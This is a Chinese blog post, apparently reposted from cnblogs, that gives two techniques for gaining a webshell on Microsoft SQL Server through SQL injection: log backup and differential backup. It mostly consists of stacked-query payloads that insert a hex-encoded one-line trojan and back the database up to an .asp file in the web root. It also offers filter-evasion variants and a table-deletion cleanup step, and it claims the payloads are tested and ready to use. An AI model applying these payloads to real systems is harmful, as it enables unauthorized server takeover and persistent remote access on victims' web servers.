首页 > 数据库技术 > 详细

sqlserver的两种备份getshell(干货)

时间:2020-07-11 13:56:23      阅读:186      评论:0      收藏:0      [点我收藏+]
log备份这是一种导出日志文件到web路径来getshell的方法
本次简述一下通过sqlserver进行getshell的两种方法,payload可以直接拿来用,话不多说,直接往下看就完事了
 
优势:
1、重复性好,多次备份的成功率高
2、相对于差异备份而言,shell的体积较小
 
利用条件:至少DBO权限
1、前提得知绝对路径,并且可写
2、站库不分离
3、数据库必须被备份过一次
 
 
第一步:
;alter database 库名 set RECOVERY FULL--
 
第二步:
;create table 数据库名..表名(a image)--     //建表
 
 
第三步:
;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制
 
第四步:
;backup database 数据库名 to disk = c:\www\panda.bak--          //先手动给test1备份一遍
 
第五步:
;backup log 数据库名 to disk = c:\www\panda.asp with init--          //利用log备份到web路径getshell
 
 
第六步:
;Drop table 数据库名..表名--     //删除表
 
 
 
差异备份的条件:至少DBO权限
 
1、前提知道绝对路径,路径可写。
2、HTTP 500错误不是自定义
3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
4、数据量不能太大
 
 
第一步:
;backup database 库名 to disk = c:\bak.bak ;--    //先手动备份一次
 
 
如果被过滤,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s--     //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库
 
 
第二步:
;create table 数据库名..表名(a image)--     //建立表,加字段
 
 
第三步:
;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制

 

第四步:
;backup database 库名 to disk = c:\shell.asp with differential , format ;--    //进行差异备份
 
 
如果被过滤,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--     //备份到路径\xx.asp,前提是已得知路径,注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ,访问查看是否备份getshell成功
 
 
第五步:
;Drop table 数据库..表名--     //备份完getshell过后删除表

 

文中的方法和payload亲测可用的,至于图片,可以稍微的自行脑补,在注入点上操作即可

sqlserver的两种备份getshell(干货)

原文:https://www.cnblogs.com/PANDA-Mosen/p/13283204.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!